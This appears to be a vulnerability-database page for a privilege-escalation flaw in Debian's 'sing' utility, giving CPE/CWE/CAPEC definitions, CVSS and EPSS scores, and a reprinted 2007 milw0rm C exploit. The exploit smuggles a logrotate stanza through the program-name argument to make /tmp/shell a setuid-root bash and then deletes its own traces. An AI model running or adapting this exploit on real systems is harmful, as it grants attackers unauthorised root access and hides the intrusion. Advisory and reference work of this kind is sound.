CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Send ICMP Nasty Garbage (sing) on Debian GNU/Linux allows local users to append to arbitrary files and gain privileges via the -L (output log file) option. NOTE: this issue is only a vulnerability in limited environments, since sing is not installed setuid, and the administrator would need to override a non-setuid default during installation.
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.92%
–
–
2022-02-13
–
–
1.92%
–
–
2022-04-03
–
–
1.92%
–
–
2022-06-26
–
–
1.92%
–
–
2022-11-13
–
–
1.92%
–
–
2022-11-20
–
–
1.92%
–
–
2022-12-11
–
–
1.92%
–
–
2022-12-18
–
–
1.92%
–
–
2022-12-25
–
–
1.92%
–
–
2023-01-01
–
–
1.92%
–
–
2023-02-12
–
–
1.92%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.09%
2025-03-30
–
–
–
–
0.09%
2025-03-30
–
–
–
–
0.09,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
sing file append exploit
by bannedit
12/05/2007
The original reporter of this issue included an example session which
added an account to the machine.
The method for this exploit is slightly different and much more
quiet. Although it relies upon logrotate for help.
This could easily be modified to work with cron daemons which
are not too strict about the cron file format. However,
when I tested vixie cron it appears that there are
better checks for file format compilance these days.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define SING_PATH "/usr/bin/sing"
char *file = "/etc/logrotate.d/sing";
char *evilname = "\n/tmp/sing {\n daily\n size=0\n firstaction\n chown root /tmp/shell; chmod 4755 /tmp/shell; rm -f /etc/logrotate.d/sing; rm -f /tmp/sing*\n endscript\n}\n\n\n";
int main()
{
FILE *fp;
int pid;
puts("sing file append exploit");
puts("------------------------");
puts("by bannedit");
if(fp = fopen("/tmp/shell", "w+"))
{
fputs("#!/bin/bash\n", fp);
fputs("/bin/bash -p", fp);
fclose(fp);
system("touch /tmp/sing; echo garbage >> /tmp/sing");
}
else
{
puts("error making shell file");
exit(-1);
}
sleep(5);
printf("done sleeping...\n");
execl(SING_PATH, evilname, "-Q", "-c", "1", "-L", file, "localhost", 0);
return 0;
}
// milw0rm.com [2007-12-06]